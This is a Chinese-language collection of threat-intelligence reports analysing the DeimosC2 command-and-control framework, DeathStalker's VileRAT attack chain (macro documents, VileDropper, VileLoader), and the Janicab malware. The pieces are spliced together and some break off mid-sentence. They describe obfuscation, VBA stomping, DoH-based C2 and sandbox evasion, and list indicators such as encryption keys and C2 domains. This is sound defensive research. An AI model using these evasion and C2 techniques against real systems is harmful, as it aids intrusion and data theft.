DoH偵聽器DoH或DNS over HTTPS偵聽器使用DNS查詢與CC服務器通信。使用DoH的優點之一是不需要與CC服務器直接通信。但是,通信會出現延遲。因此,如果需要秘密進行,通常使用DoH。 DeimosC2使用谷歌的HTTPS JSON API進行DNS。這與穀歌也支持的符合RFC 8484的DoH請求不同。這是一種更容易編程的解決方案,攻擊者很容易使用。

20.png

顯示dns.google.com/resolve用法的Go代碼截圖

在偵聽器配置中,有兩個名稱可以更改:第一次變量和簽入變量。在設置偵聽器時,它們的默認名稱分別是getname和checkin。當代理第一次接觸到偵聽器時,它將首先使用firsttime變量,之後將使用checkin變量進行心跳通信。與HTTPS和TCP不同,代理不會直接與偵聽器通信,但它將與前面提到的DNS谷歌服務通信。

21.png

用於與DoH偵聽器的初始通信的變量

在初始設置中,可以觀察到的一個查詢如下所示:

https://dns.google.com/resolve?name=0000000000.6765746e616d65.ftr.trendmicro.com

當你查看這個查詢時,有一些東西非常突出,其中一個是6765746e616d65子域,它是在簽入過程中從代碼生成的。在本例中,該值第一次接受變量,並根據其ASCII值(在我們的例子中為getname)將其內容轉換為十六進制系統。然後將其用作發送到dns.google.com的第一個子域。要對此進行解碼,需要來自代理或CC服務器本身的AES密鑰。

22.png

初始簽入過程的DoH代理代碼

我們討論過的所有這些方法都基於配置中設置為默認值的路徑和變量,在構建監聽器時很容易更改。更改默認設置有利於安全研究人員使用,幫助在網絡日誌中查找流量。然而,當攻擊者更改這些設置時,在未來的活動中發現他們將變得更加困難,因為他們會改變他們的變量來改變他們的TTP,以避免被發現或根據活動修改配置。我們提供這些信息是為了幫助防御者了解在攻擊中遇到非默認行為時DeimosC2的幕後情況。

更改默認偵聽器設置在DeimosC2用戶界面中很容易實現路徑的更改,以/login、/index、/settings和/profile的HTTPS偵聽器的默認路徑為例。要改變這一點,攻擊者只需在構建偵聽器時展開“高級選項”。

23.png

構建HTTPS偵聽器時高級選項的屏幕截圖

改變路徑很可能是攻擊者要做的事情,這將導致我們之前討論的二進製文件和通信模式中的一些內容髮生改變。例如,如果DOH代理中的getname被更改,它將不再轉到6765746e616d65,而是重定向到它被更改為的子域,轉換為十六進制系統(例如“trendmicroftr”,它在DOH查詢中看起來像7472656e646d6963726f667472)。這也是尋找這些工具變得越來越困難的原因之一,因為規避技術是內置在選項中。

每個偵聽器都可以更新特定的信息,這些信息將更改所使用的一些路徑和子域。 TCP偵聽器具有最少的選項,在編寫本文時,它可能是最容易通過網絡監控方法檢測到的偵聽器之一。

針對DeimosC2防禦網絡的建議探測CC流量對於全球的網絡防御者來說都是一個頭疼的話題。幸運的是,在對DeimosC2進行研究期間,我們發現了一些可以用於檢測與服務器通信的代理的存在的技術。

雖然有些網絡活動是動態的,例如對URL路徑的檢查(因為在設置偵聽器時,攻擊者可以更改這些路徑),但其他活動是可預測的。例如,TCP偵聽器通信的前8個字節可以用於在入侵檢測系統(IDS)中使用提供的Snort規則進行檢測。

在DoH示例中,如果防御者在正常業務操作中沒有使用利用DoH的JSON版本的服務,建議阻止或至少記錄HTTPS到dns[.]google。目前大多數利用DoH的DeimosC2示例都使用Google提供的DoH的JSON版本,這將使該代理無法完全工作。

然而,重要的是要記住DeimosC2是一個利用後的CC框架,如果你在你的網絡上看到它的流量,那麼你已經被攻擊了,這只是攻擊者設置持久性。如果你在系統中檢測到DeimosC2,你應該意識到可能還部署了其他你可能不知道的攻擊工具。假設你已經被攻擊了,這也提供了額外的防禦選擇:

防御者應該定期監測出站通信,特別是,它們應該標記任何發送的數據量比正常監控

vilerat_featured-1200x600.jpg

VileRAT:一個複雜的Python植入物VileRAT是來自DeathStalker的複雜同名攻擊鏈的最後一個已知階段。它是一個經過混淆和打包的Python3RAT,與py2exe捆綁為一個獨立的二進製文件。研究人員在2020年第二季度首次發現它,隨後它也被其他供應商命名為PyVil。

關於VileRAT的介紹嵌入在py2exe捆綁二進製文件中的Python庫(DLL)通常來自官方Python版本。在分析VileRAT示例時,我們注意到它的PythonDLL是Python3.7源代碼的自定義編譯:DLL版本被標記為“heads/3.7-dirty”而不是官方發布的“tags/v3.7.4”,並引用縮短的Git提交ID“0af9bef61a”。這個縮短的提交ID與標準CPython實現的3.7分支的源代碼存儲庫中的一個匹配,該實現的日期為2020年5月23日。考慮到這個提交日期,以及在2020年第二季度首次發現VileRAT,研究人員相信VileRAT是在2020年6月首次部署的。

解包VileRAT當我們第一次遇到VileRAT時,我們注意到所有用於Python3的常用反編譯工(uncompille6、decompyle3和unpyc37等都無法從VileRAT字節碼中正確檢索Python源代碼。

VileRAT的第1階段已在Python字節碼級別進行了混淆,目的是破壞現有的反編譯器。字節碼通過以下方式混淆:

添加多個在執行時沒有任何影響的操作(中立操作)和無用數據;

添加令人困惑的分支和異常處理程序;

在執行期間永遠不會到達的部分中插入無效的字節碼,反編譯器仍然嘗試反編譯,但失敗。

24.png

VileRAT的第1階段Python字節碼,原始形式(左)和反混淆形式(右),只需看紅色部分即可

一旦在字節碼級別進行了清理,VileRAT解包的第1階段就可以被正確反編譯為Python代碼:

25.png

VileRAT嵌入不少於三層的包裝。目的就是使Python腳本(VileRAT)難以從人類角度分析,這也是DeathStalker的獨特做法,考慮到他們也對感染鏈的所有其他步驟進行了相同的嘗試,證明這是慣用做法。

最後的解包步驟最終提取了VileRAT的Python代碼和它在內存中的整個依賴包,所有這些內容導致綁定py2ex的VileRAT樣本的重量大約為12MB。使用第二類算法解包利用解碼和BZIP2解壓縮。最後的VileRAT Python包包含一個conf.pyc模塊,其中包括一個版本號,以及默認的C2域名:

26.png

VileRAT版本和函數

通過分析並比較了各種VileRAT示例,版本號是從2.4到8。雖然版本號跨度這麼大,但VileRAT的功能沒有太大變化,研究人員分析的最早示例中的一些功能實際上已經被刪除,例如將SSH用作C2通道,或者截圖,後者現在在VileLoader中實現,其餘功能包括:

1.使用現有或下載的二進製文件執行任意遠程命令;

2.建立與遠程服務器的SSH連接,可能利用它們將目標計算機的端口轉發到遠程服務器;

鍵盤記錄;

3.使用計劃任務設置持久性;

4.列出安裝在目標計算機上的安全解決方案;

5.從C2服務器自我更新。

6.VileRAT有五種不同的專有執行模式,可從命令行啟用,所有這些模式都可以通過來自C2的附加命令開關、參數或數據進一步更改:

命令行選項、內部名稱和執行模式說明如下:

1.-a, enc_cmd_dataRUN_CMD_AS_USER_ARG,任意命令執行:“命令”一詞範圍很廣:它可以是一個現有的二進製文件、一個shell命令、一個下載的可執行文件、一個Python包,或者一個內部的VileRAT函數。為了指定“命令”,一個JSON字典作為可選參數傳遞。有些命令將通過再次啟動VileRAT(使用一組不同的命令選項)來執行。執行完成後,VileRAT退出。

2.-l,enc_cmd_data_rssRUN_R_SSH_SHELL_ARG,SSH連接測試:VileRAT啟動自己的一個新進程,它連接到一個遠程SSH服務器(使用一個私鑰),然後關閉連接。這個SSH連接在以前的示例中用作C2通道,但是在最近的示例中刪除了C2邏輯。為了指定SSH連接設置,將傳遞一個JSON字典作為可選參數。執行完成後,VileRAT退出。

3.-r,enc_cmd_data_rdsRUN_R_DYN_SSH_ARG,SSH隧道本地端口轉發:VileRAT啟動自己的一個新進程,它連接到遠程SSH服務器(使用密碼)。此連接用作將端口從目標計算機轉發到遠程服務器的隧道。為了指定SSH連接設置,JSON字典作為可選參數傳遞。一旦遠程端至少連接到轉發端口一次,VileRAT就會退出,然後關閉連接。

4.-c,cp_exe_path,任意文件刪除:VileRAT嘗試刪除一個文件,其路徑以明文命令參數的形式給出。當文件被刪除或達到最大嘗試次數(10)時,VileRAT將退出。

5.-t,rtsIS_TASK_SCHED_ARG,C2主客戶端模式:這是VileRAT的主要執行模式。它定期在C2服務器上輪詢要執行的命令。可以執行的命令是此表中描述的命令之一(RUN_R_SSH_SHELL_ARG、RUN_CMD_AS_USER_ARG、RUN_R_DYN_SSH_ARG),或其他VileRAT內部更新命令之一。 CMD_UPDATE_SVC從C2下載的包觸發(部分或完整)VileRAT更新,而CMD_UPDATE_CONF可以更新內部延遲並在C2需要時啟用鍵盤記錄器。

正如我們在2022年確定的那樣,在一個典型的VileRAT第一次執行中,植入程序從以下參數開始:

28.png

請注意,在這種情況下,作為第一個參數傳遞的目標標識符實際上並未被VileRAT利用,攻擊者可能只是使用它來輕鬆識別稍後運行的VileRAT進程。較舊的VileRAT變體通常使用顯式的“-f”和“-t”命令行開關啟動,這些現在是隱式的並默認啟用。

以下是研究人員發現的VileRAT版本發展過程中一些值得注意的變化,除了定期更新以修復代碼錯誤或處理未捕獲的異常、重構代碼、更新依賴項和更改配置:

1.在2.4和2.7版之間,VileRAT釋放了使用遠程SSH服務器作為C2通道的功能,以及截圖實現;

2.在3.0版中,用於各種加密例程的base64編碼RC4密鑰從“Ixada4bxU3G0AgjcX+s0AYndBs4wiviTVIAwDiiEPPA=”更改為“XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=”,並在編碼方案中添加了額外的XOR通道(使用第2類算法)。重構了VileRAT遠程更新機制,增加了一個額外的命令開關(稱為pmode);

3.在3.7版中,研究人員最初確定用於2.4版本的特定Chrome版本和Trezor錢包偵察功能被從代碼中刪除,VileRAT失去了從運行它的文件系統上提供的文件進行更新的能力;

4.在5.4版中,生成UUID類型標識符的方式發生了變化;

5.在6.5版中,添加了一個額外的命令開關(稱為jmode);

6.在6.6版中,“-f”和“-t”命令選項默認啟用。

VileRATHTTPC2協議VileRAT的主C2通信循環,在主C2客戶端模式下執行,非常簡單,並且在一個單獨的線程中運行:

1.每隔2-5分鐘,VileRAT會嘗試向其配置中存在的每個C2服務器發送HTTPPOST請求,直到有一個響應或列表用盡。環境數據嵌入到一個JSON字典中,使用RC4加密,使用第二類的XOR算法編碼,base64編碼和URL編碼,最後設置為HTTP請求URL路徑;

2.C2服務器可能會響應一個HTTP響應,其正文可以包含一個編碼和加密的JSON數組。如果是這樣,JSON必須至少包含一個要執行的命令。

29.png

VileRATC2請求準備函數

就像在VileLoader中一樣,HTTP請求中的User-Agent值是從可能值的固定列表中隨機選擇的。傳遞給C2服務器的JSON可以分解如下:

30.png

簡單介紹一下VileRAT的基礎設施

我們尋找了可以從收集的示例(惡意DOCX文件、DOTM文件及其宏、VileDropper、VileLoader或VileRAT)中檢索到的C2域中的特性,這些特性在本報告中有所描述。我們忽略了2021年10月中旬之前註冊的域名,因為其中大部分已經在公共來源中被披露,所有已知的惡意域名和IP都在下面的攻擊指標部分中完整列出。值得注意的是,迄今為止,我們已經確定了數百個與VileRAT攻擊鏈相關的域。

這使我們能夠確定一些可能的VileRAT特定的基礎設施創建偏好:

1.最遲從2021年10月開始,DeathStalker基礎設施IP均屬於AS42159(DELTAHOSTUA,位於NL)。根據研究人員的分析,DeathStalker可能早在2021年6月就開始利用具有來自該AS(以及其他AS)的IP地址的服務器;

2.惡意域名通常在NAMECHEAP、PorkbunLLC或PDRLtd.批量註冊(同一天多個域);

3.許多惡意域名試圖偽裝成看似合法的數字服務提供商名稱(例如“azcloudazure[.]com”或“amzbooks[.]org”),其中一些表示可能試圖利用全球關注的事件進行攻擊活動(例如“weareukrainepeople[.]com”或“covidsrc[.]com”);

4.大多數時候域使用似乎是分開的,一個域僅用於攻擊DOCX/DOTM、VileLoader或VileRAT,並且可能表明攻擊者希望將其操作緊密聚集在一起。但是所有這些域通常都指向一組非常有限的IP地址;

5.研究人員通過對惡意活動期間暴露在C2IP上的服務特徵的快速分析,注意到一些常見的簽名:HTTP服務發送的內容和標頭值的組合只能針對此類惡意基礎設施進行檢索。

VileRAT的目標從2021年8月至今,在保加利亞、塞浦路斯、德國、格林納丁斯、科威特、馬耳他、阿拉伯聯合酋長國和俄羅斯聯邦發現了10個受攻擊或目標組織。

31.png

DeathStalker的VileRAT活動所針對的組織區域分佈(較深的顏色表示較高的集中度)

研究人員目前還無法對所有已確定的組織進行分析,但其中一半是外匯(FOREX)和加密貨幣交易所經紀人。一些已識別的惡意文檔和基礎架構域包含目標組織的名稱,並確認了這一目標。

值得注意的是,被確認的機構包括近期的初創公司和老牌行業領袖,包括可疑的加密貨幣交易平台。從我們手頭有限的數據來看,確定這樣的組織是極其困難的,因為一個小型FOREX公司可能在不同的國家託管其基礎設施,僱傭幾個來自不同國家的遠程工作人員,並合法地設在避稅天堂。

歸因當研究人員在2020年6月首次發現VileRAT時,一開始將植入物和相關攻擊鏈歸因於DeathStalker。這主要是因為它與先前已知的EVILNUM活動的相似性,比如LNK文件中的常見特定元數據,類似的TTP——尤其是利用GoogleDrive文件和虛假角色的魚叉式網絡釣魚方法,受害者特徵也一樣。 EVILNUM活動和DeathStalker之間的聯繫已經在我們之前的文章中介紹過。

如上述分析所述,研究人員仍然高度相信所描述的更新植入物和相關攻擊鍊是由DeathStalker開發和運營的,原因如下:

1.本次活動所使用的主要植入物(VileLoader和VileRAT)是之前分析過的內容的更新,並且仍然與之前的樣本共享大量代碼和實現細節;

2.上述感染鏈的各個組件(DOCX、啟用宏的DOTM、VileDropper)共享了之前被DeathStalker用作其他活動(尤其是PowerSing和PowerPepper)一部分的實現邏輯和技術;

3.使用受害者從電子郵件中下載的惡意文檔作為攻擊媒介;

4.向遠程服務器發送攻擊進度和錯誤信號;

5.使用類似實現的XOR算法進行字符串混淆,在DOTM宏中,以及以前記錄的PowerPepper加載程序中;

6.利用Office對象屬性作為隱藏數據源;

7.使用具有預設常量的類似哈希函數,在VileDropper中生成目標標識符,在PowerSing中解碼IP地址。

總結1.VileRAT及其加載程序和相關攻擊鏈在兩年多的時間裡不斷且頻繁地更新,並且仍然被用來持續針對外幣和加密貨幣交易經紀人,其目的是逃避檢測。

2.逃避檢測一直是DeathStalker的目標,VileRAT活動足以證明這一切,毫無疑問,它是我們迄今為止發現的最成功的逃避檢測成功的攻擊,使用了最複雜、混淆手段最多和試探性規避的技術。從使用VBA和JS進行最先進的混淆,到使用Python進行多層和基礎層打包,強大的多階段內存中PE加載程序以及安全供應商特定的啟發式繞過,讓分析者無所適從。

3.考慮到龐大且快速變化的相關基礎設施,毫無疑問,DeathStalker正在做出巨大的努力來開發和維護訪問。然而,也有一些小故障和不一致,比如最終負載超過10MB (VileRAT),簡單的感染載體,大量可疑的通信模式,嘈雜且容易識別的進程執行或文件部署,以及粗略的開發實踐留下的漏洞和需要頻繁的植入更新。因此,一個有效且正確設置的終端保護解決方案仍然能夠檢測和阻止VileRAT的大部分相關惡意活動。

vilerat_featured-1200x600.jpg

早在2020年8月下旬,就有研究人員發布了DeathStalker的活動報告,包括Janicab、Evilnum和PowerSing活動。同時,在2020年8月,研究人員還首次發布了一份關於VileRAT的私人報告。 VileRAT是一種Python植入程序,是專門針對外彙和加密貨幣交易公司一種高度複雜的攻擊活動,其幕後攻擊者就是DeathStalker。

自2020年6月首次被發現以來,DeathStalker確實不斷利用和更新其VileRAT工具鏈來對付相同類型的目標。而且DeathStalker最近可能會加大力度使用此工具鏈來破壞目標。自2022年3月以來,研究人員已經識別出更多與VileRAT相關的惡意文件和新基礎設施的示例,這可能是攻擊嘗試增加的徵兆。

VileRAT的初始攻擊和工具集介紹早在2020年夏天,DeathStalker的VileRAT的攻擊就包括發送給外匯公司的魚叉式網絡釣魚電子郵件。如果目標上鉤,假冒的角色會在某個時候根據請求提供指向託管在GoogleDrive上的惡意文件的鏈接(偽裝成PDF或ZIP存檔的Windows快捷方式文件),作為身份證明文件,然後,惡意鏈接將觸發任意系統命令的執行,以釋放無害的誘餌文檔,以及我們稱為VileLoader的惡意且非常複雜的二進制加載程序。

至少從2021年末開始,攻擊技術略有變化,但最初的攻擊媒介仍然是惡意消息:通過電子郵件向目標發送Word文檔。 2022年7月,攻擊者利用嵌入在目標公司公共網站中的聊天木馬向目標發送惡意DOCX。

1.png

惡意DOCX的釣魚消息

DOCX文檔經常使用“合規性”或“投訴”關鍵字來命名,這表明攻擊者正在回答識別請求或表達某個問題作為發送它們的理由。

至少從2021年底開始,最初的攻擊和工具集部署如下圖所示。

2.png

VileRAT攻擊和工具集概述

秘密執行VileDropper最初的DOCX攻擊文檔本身是無害的,但它包含指向另一個惡意和啟用宏的DOTM文檔的鏈接作為“遠程模板”。打開DOCX時,Word會自動下載這些DOTM文件,如果收件人啟用了執行,則會觸發其嵌入的宏。

3.png

DOCX中包含的惡意遠程模板

惡意DOTM遠程模板利用VBAstomping技術來隱藏嵌入式宏的代碼。 VBAstomping使可編輯的VBA源代碼(即宏的可見代碼)不同與實際執行的代碼。這是可能的,因為可編輯源代碼和被稱為p-code的經過轉換的內部版本都嵌入在啟用宏的文檔中。由於使用了VBAstomping,將要執行的真正宏代碼對標準工具(MicrosoftWord的宏編輯工具以及OLETools)是隱藏的。

這種技術有一個嚴重的限制:隱藏的宏(即內部p代碼)只有在啟用宏的文檔使用生成它的相同Office版本打開時才能執行。否則,隱藏的宏將無法運行,而將執行可見的宏。在最後一種情況下,DeathStalker確保它會向用戶彈出一條消息。但最重要的是,DeathStalker確保將多個攻擊文檔變體傳播給目標,每個變體都針對特定的Office版本進行準備。

4.jpg

惡意DOTM遠程模板中的VBAstomping失敗

在任何情況下,可見和隱藏的宏都會下載一張圖片來取代感染文檔中的社會工程消息,並欺騙讀者相信某些事情失敗了。

5.png

執行宏時下載的圖像示例

然而,在後台,如果VBAstomping有效,嵌入DOTM的宏會使用WMI靜默收集有關安裝在目標計算機上的安全產品的信息,將它們發送到命令和控制(C2)服務器,解碼並釋放文件,然後最終執行我們稱為VileDropper的惡意混淆JavaScript(JS)後門。

嵌入DOTM的宏本身已經揭示了一些有趣且具體的技術。它被輕微混淆,因為大多數文本字符串都是XOR編碼的,其密碼源自一個句子,例如,“OperatesCatholicsmalltownspueblosTwoof”。

6.png

DOTM嵌入宏中的XOR解碼函數

XOR解碼算法看起來非常接近過去在PowerPepper工具鏈的VBS加載程序腳本中使用的算法,而且看起來合法的函數名也讓人想起PowerPepper宏中使用的函數名,例如'insert_table_of_figures','change_highlight_color'等。

7.png

PowerPepperVBS加載程序中的XOR解碼函數(MD5DB6D1F6AB887383782E4E3D6E4AACDD0)

嵌入DOTM的宏從編碼數據中解碼並刪除兩個文件(在“%APPDATA%”文件夾中:“Redist.txt”和“ThirdPartyNotice.txt”,或“pattern.txt”和“changelog.txt”)存儲在不可見的TextBox表單中。利用Office對象屬性作為隱藏數據源也是之前採用的技術。

8.png

用作惡意DOTM文檔中數據存儲的TextBox表單,如Microsoft的VBA編輯器所示

另一個值得注意的特性是,嵌入DOTM的宏通過向固定的C2URL發送HTTPGET請求來指示執行過程中的進展或錯誤。有趣的是,VBA宏中的所有HTTP請求都是使用遠程圖片插入函數觸發的。

9.png

嵌入DOTM的宏利用“AddPicture”作為Web客戶端

在任何情況下,嵌入DOTM的宏最終都會觸發VileDropper的執行,使用“WScript”解釋器的重命名副本(“%APPDATA%”文件夾中的“msdcat.exe”或“msgmft.exe”),使用如下命令作為:

10.png

“changelog.txt”是VileDropper,“91”是VileDropper用來解碼異或數據的密碼的一部分,“pattern.txt”是一個包含VileLoader的編碼包。

VileDropper:一個過度混淆的任務調度器在DeathStalker錯綜複雜的VileRAT攻擊鏈中還有一個VileDropper。它是一個混淆的JavaScript文件,主要釋放和調度下一階段的執行:VileLoader。

11.png

VileDropper代碼的原始形式

第一次運行VileDropper至少需要兩個參數,第三個參數可以用作觸發特定環境執行變化的標誌,具體取決於安裝在目標計算機上的安全產品:

第一個是部分密碼(用於解碼XOR編碼的數據),第二個是一個編碼的有效負載文件的路徑(包含VileLoader及其配套的shellcode)。

VileDropper還會檢查它的解釋器和文件名,如果它沒有按計劃調用,則立即停止執行,這可能是為了規避沙箱檢測:

12.png

VileDropper中的反混淆執行檢查

VileDropper的確切執行流程取決於目標計算機上安裝的安全產品,但大多數時候,它將自己複製到另一個文件,重新啟動自己,並刪除其原始副本。在執行VileDropper期間:

1.收集有關目標環境的附加數據(使用WMI)以及生成目標標識符並將它們發送到C2服務器;

2.解碼並釋放VileLoader及其編碼的結果shellcode。文件名和位置會因示例而異,但他們被放在一個看似合法的公共文件夾“%APPDATA%”(例如,“exe”和“dev0Y11ZF.tmp”在“%APPDATA%\Microsoft\PrinterSettings\Printers\”)下。

3.安排一個任務在35到65秒後運行VileLoader,之後每3小時45分鐘運行一次。

使用預設的User-Agent(C2的URL和User-Agent的變化取決於VileDropper的示例),VileDropper使用一個HTTPGET請求將數據發送到C2服務器到一個固定的URL(例如,“hxxp://hubflash[.]co/admin/auth.php”)。有用的信息被存儲為一個JSON項,然後該文檔被xor編碼、base64編碼、url編碼,並被設置為HTTP請求中的cookie值:

JSON 項和內容(JSON 值)如下:

1.u,目標標識符:標識符是目標登錄(%USERNAME% 環境變量)和計算機UUID(在WMI 查詢的第一個結果中獲得的類似UUID 的自定義表示形式:SELECT UUID FROM Win32_ComputerSystemProduct)。然後這個類似UUID 的值是base64 編碼和URL 編碼的。由於標識符生成邏輯的固定長度和填充,標識符的最終形式總是48 個字符長。

2.d,一個硬編碼的VileDropper 標識符,它可能指定一個活動或版本(例如,“9745B355”)。

3.a,安裝在目標計算機上的安全產品(WMI 中的AntiVirusProduct)名稱列表,以豎線符號(|) 分隔,然後是XORed、base64 編碼和URL 編碼。

4.n,目標的完全限定登錄,作為“%USERDOMAIN%\%USERNAME%”的shell擴展,然後進行異或、base64 編碼和URL 編碼。

5.w ,目標的操作系統版本,從WMI 查詢SELECT Version FROM Win32_OperatingSystem 返回,然後是base64 編碼和URL 編碼。

由VileDropper調度的任務(其名稱因樣例而異,如“CDS同步”或“UpdateModel任務”)會觸發以下類型的執行命令:

14.png

命令行中方括號之間的字符(例如[u])指定相應JSON項的內容,即[u]是編碼的目標標識符。

在繼續討論VileLoader之前,請注意VileDropper使用XOR編碼方案來保護髮送到C2服務器的數據,因為類似的方案將在以後使用。該算法生成的數據塊佈局如下,有時還會進一步進行base64編碼和URL編碼:

類型一:

15.png

生成的blob是自給自足的,並且可以由接收者解碼,而無需訪問預共享密鑰。在VileDropper中,作為JavaScript混淆的一部分編碼的字符串受益於額外的異或:嵌入數據blob中的異或密鑰還使用特定於腳本的固定密碼進行了異或,此固定密碼的一部分被傳遞給VileDropper在攻擊鏈中的前一個DOTM宏執行的命令行上,另一部分在VileDropper中硬編碼。

後來,VileLoader和VileRAT使用該算法的其他變體。

類型二:

16.png

類型三:

17.png

類型四:

18.png

VileLoader:一個多階段植入程序下載器VileLoader它自2020年第2季度就被公佈,首次公開記錄為dddp.exe,但此後一直在不斷更新和維護,並且在撰寫本文時仍然部署在VileDropper上。 VileLoader的主要目標是從C2服務器下載並執行額外的有效負載。雖然我們只觀察到它觸發了VileRAT的執行,但加載程序在技術上可以下載並執行其他植入程序。

最近的VileLoader示例是由一個二進制可執行文件(第1階段)和一個編碼的配套shellcode文件(第2階段)組成。以前的VileLoader示例通常將shellcode直接嵌入到二進制可執行文件中,並將呈現為單個整體文件。

第1階段:修改二進制解包器VileLoader最初是作為二進制可執行文件呈現的,它確保第1階段執行。這個二進製文件始終是合法的,被攻擊者精心修改以集成惡意解包器類型的有效負載。因此,從快速自動靜態代碼分析的角度來看,二進製文件可能看起來是合法的,它包含合法應用程序的所有代碼,但不會按預期工作。這個“解包器”階段旨在解碼、加載和執行內存中的第2階段。

VileLoader的工作流程從等待17秒開始。然後它解析命令行參數。命令行必須至少包含五個參數,否則VileLoader會終止執行。在實踐中,VileDropper通常會向VileLoader提供七個參數,正如我們之前所描述的。 VileLoader然後打開其編碼的附帶的shellcode文件。其名稱作為第二個參數傳遞給VileLoader,例如,“devENX1C6SS.tmp”,使用第二個類型的XOR算法讀取並解碼它,將去混淆數據映射到一個區域中讀取、寫入和執行(RWX)權限,並通過啟動新線程來運行下一階段(第2階段)。

VileLoader的第1階段包含非常獨特的“簽名”技術,自我們在2020年第二季度分析的第一個示例以來一直很穩定:

利用“Sleep”和“GetTickCount”Windows API函數來生成隨機的等待延遲。這些函數以一種不尋常的方式解析:通過從當前二進制映像的開頭引用硬編碼偏移量,這些偏移量直接指向合法可執行文件的導入地址表(IAT)中的條目;

VileLoader的編碼附帶的shellcode文件的解包和加載利用了多個自定義系統調用,這些調用類似於針對不同Windows版本的低級WindowsAPI函數(NTDLL):NtOpenFile、NtReadFile、NtAllocateVirtualMemory、NtCreateThreadEx和NtWaitForSingleObject。

19.png

VileLoader的第1階段自定義系統調用

然而,雖然舊示例通過解析和調用專用WindowsAPI函數(例如“GetCommandLineW”)來解析命令行參數,但最近的示例直接從它們自己的PEB(進程環境塊)結構中讀取此信息。這樣做可能是為了更好地繞過對某些安全解決方案的檢測。

第2階段:內存下載器第2階段的內容從VileLoader的編碼附帶的shellcode文件中提取,並由VileLoader的第1階段在內存中的新線程中運行。從數據的角度來看,第2階段的shellcode是一個PE二進製文件,它的標頭被去掉並嵌入了額外的編碼數據。

第2階段首先從其本身的內容中解碼(使用第三類XOR算法)所需的數據。一些數據被解碼為使用djb2算法生成的哈希值。這些哈希值反過來用於通過自定義IAT解析所需的函數導入:加載所需的庫,解析它們的導出表,使用djb2對導出的函數名稱進行哈希,並將哈希值與從內部數據解碼的哈希值進行比較。第2階段繼續創建一個互斥鎖,其名稱自2020年第二季度以來沒變過,與VileRAT中的相同(“Global\wU3aqu1t2y8uN”)。

最後,VileLoader的第2階段構建一個HTTPGET請求,用於下載植入程序包。在較早的VileLoader示例中,下載器使用瞭如下所示的一個靜態URL:

20.png

唯一的規避嘗試是在四個固定列表中隨機選擇一個HTTPUser-Agent標頭值。 VileLoader使用目標系統的正常運行時間作為“隨機性”的來源。在最近的示例中,開發人員試圖改進這些規避技術,HTTP請求現在看起來如下所示:

21.png

現在,所有以紅色著色的值都是從從第2階段內容解碼的硬編碼列表中隨機選擇的(使用C類XOR算法)。加密的blob(cookie值)最初是一個JSON字典,使用RC4算法加密(使用密鑰“BDDE96D29C68EE064964D1E58A860512B09A50004EF2E4925C76ABFC9023DFC6”,從第2階段內容解碼)、異或(使用B型異或算法)、base64編碼和URL編碼。實際的JSON內容與VileDropper發送到C2服務器的內容非常相似:

22.png

然後,C2服務器在HTTP響應正文中進行了響應,並使用以下其中一個指令:

什麼都不做:答案是四個空字節;

植入包:答案是要解析的編碼植入包(見下文);

發送截圖:答案是一個值為“1”的字節,後面是三個空字節;

在較早的版本中,VileLoader的第2階段並沒有嵌入截圖功能,但是VileRAT實現了截圖功能。

如果C2服務器使用植入程序包進行應答,它會發送一個第四類的異或blob。生成的數據使用LZMA1算法進一步解壓縮,並包含一個或多個帶有以下附加元數據的“文件”:

一個CSIDL值,表示必須將文件釋放的根文件夾(使用“SHGetFolderPathW”WindowsAPI函數解析);

子目錄名稱;

一個文件名;

如果要安排文件執行,則為任務名稱;

如果要執行文件,則為命令行參數。

如果在C2服務器響應數據中設置了特定標誌,VileLoader會為最後放置的文件創建一個Windows計劃任務以設置其持久性。該任務是使用ITaskService接口創建的。最後一個被刪除的文件也會使用“CreateProcessW”Windows API函數立即

Janicab_malware_law_SL-featured-1200x600.png

Janicab於2013年作為能夠在macOS和Windows操作系統上運行的惡意軟件首次出現。 Windows版本將基於VBscript的植入作為最後階段,而不是之前在Powersing示例中觀察到的C#/PowerShell組合。到目前為止,我們確定的基於VBS的植入程序樣本具有一家族版本號,這意味著它仍在開發中。總的來說,Janicob顯示了與其對應的惡意軟件家族相同的功能,但不像EVILNUM和Powersing攻擊那樣在攻擊生命週期的後期下載多個工具,分析的樣本將大部分工具嵌入並混淆在滴管中。

有趣的是,攻擊者繼續使用YouTube、Google+和WordPress web服務作為DDR。然而,觀察到的一些YouTube鏈接未列出,可以追溯到2015年,這表明可能會重複使用基礎設施。

初始攻擊點在ZIP文件中使用基於LNK的滴管的初始感染方法與以前使用EVILNUM、Powersing和PowerPepper的活動類似,但每個活動似乎都側重於不同的釣魚主題,好像每個惡意軟件家族都由不同的團隊操作或針對不同類型的受害者。在Janicab的一個例子中,誘餌是一個工業企業概況,與先前PowerPepper攻擊中使用的誘餌主題相匹配。根據我們的分析,傳送機制仍然是魚叉式網絡釣魚。

1.png

LNK文件中的誘餌文件

LNK滴管的元數據類似於我們報導或公開分析的許多Powersing和Janicab植入程序。也就是說,SID、字體家族、字體大小、屏幕緩衝區和窗口大小、運行窗口和MAC地址是相似的。

儘管Janicab和Powersing在執行流程以及VBE和VBS的使用方面非常相似,但它們的LNK結構有些不同。此外,較新的Janicab變體在結構上與2015年的舊Janicab Windows變體相比發生了顯著變化。新的Janica變體還嵌入了一個CAB文件,其中包含一些Python文件和其他在攻擊生命週期後期使用的工件。以下是Powersing與新舊Janicab車型之間的高級比較。

2.png

LNK文件結構比較

執行流程一旦受害者被誘騙打開惡意LNK文件,鏈接中的惡意軟件文件就會被釋放。 LNK文件有一個嵌入的“命令行參數”字段,用於提取和執行編碼的VBScript加載器(1.VBE)。後者將釋放並執行另一個嵌入和編碼的VBScript(2.VBE),該VBScript將提取包含額外資源和Python庫/工具的CAB文件(CAB.CAB),並通過提取最後一個階段(基於VBScript的植入程序,稱為Janicab)來結束感染。最後階段將通過在Startup目錄中部署一個新的LNK文件來啟動持久性,並開始與DDR web服務通信,以收集實際的C2 IP地址。

3.png

Janicab是一種基於VBS的惡意軟件植入程序,其功能與對應的惡意軟件家族Powersing和EVILNUM基本相似。所有這些都具有基本功能,如命令執行、導入註冊表文件,以及下載其他工具的能力,同時保持高反VM和防禦規避的持久性。

由於這三個惡意軟件家族都有很強的相似性,所以在本節中我們只討論Janicab版本之間的有趣差異。

